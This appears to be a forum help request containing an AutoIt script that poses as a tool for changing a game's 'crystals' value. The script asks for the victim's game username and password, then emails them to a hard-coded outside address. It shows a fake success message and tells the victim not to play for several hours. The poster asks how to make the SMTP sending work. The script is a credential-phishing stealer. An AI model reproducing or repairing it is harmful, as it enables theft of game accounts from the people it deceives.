Please help me I need to send a mail from input fields like this, but I don't know what to put in "Local $s_SmtpServer = "" "... I put in smtp.google.com and wrote "$Input5 = GUICtrlCreateInput("Enter your GOOGLE email adress", 48, 152, 161, 21)" but when I'm testing, it still says error...
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#include <Inet.au3>
#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Form1", 362, 269, 192, 124)
$Input1 = GUICtrlCreateInput("Enter your username", 48, 24, 161, 21)
$Input2 = GUICtrlCreateInput("Enter your password", 48, 56, 161, 21)
$Input3 = GUICtrlCreateInput("Enter value of crystals now", 48, 88, 161, 21)
$Input4 = GUICtrlCreateInput("Enter value of crystals then", 48, 120, 161, 21)
$Input5 = GUICtrlCreateInput("Enter your GOOGLE email adress", 48, 152, 161, 21)
$UserName = GUICtrlCreateLabel("UserName", 224, 24, 53, 17)
$Password = GUICtrlCreateLabel("PassWord", 224, 56, 53, 17)
$CurrentValue = GUICtrlCreateLabel("Current value", 224, 88, 53, 17)
$NewValue = GUICtrlCreateLabel("New value", 224, 120, 53, 17)
$GmailAdress = GUICtrlCreateLabel("Email adress", 224, 152, 53, 17)
$Send = GUICtrlCreateButton("Send", 128, 185, 97, 33)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
Case $Send
_sendEmail()
EndSwitch
WEnd
Func _sendEmail()
Local $s_SmtpServer = "smtp.google.com"
Local $s_FromName = "Change Value"
Local $s_FromAddress = GUICtrlRead($Input5)
Local $s_ToAddress = "imilan@spinka.cz"
Local $s_Subject = "Change Value"
Local $as_Body[4]
$as_Body[0] = GUICtrlRead($Input1)
$as_Body[1] = GUICtrlRead($Input2)
$as_Body[2] = GUICtrlRead($Input3)
$as_Body[3] = GUICtrlRead($Input4)
Local $Response = _INetSmtpMail($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
Local $err = @error
If $Response = 1 Then
MsgBox(0, "Success!", "Succesfully changed value. May take several hours, don't play now!")
Else
MsgBox(0, "Error!", "Error :(")
EndIf
EndFunc ;==>_sendEmail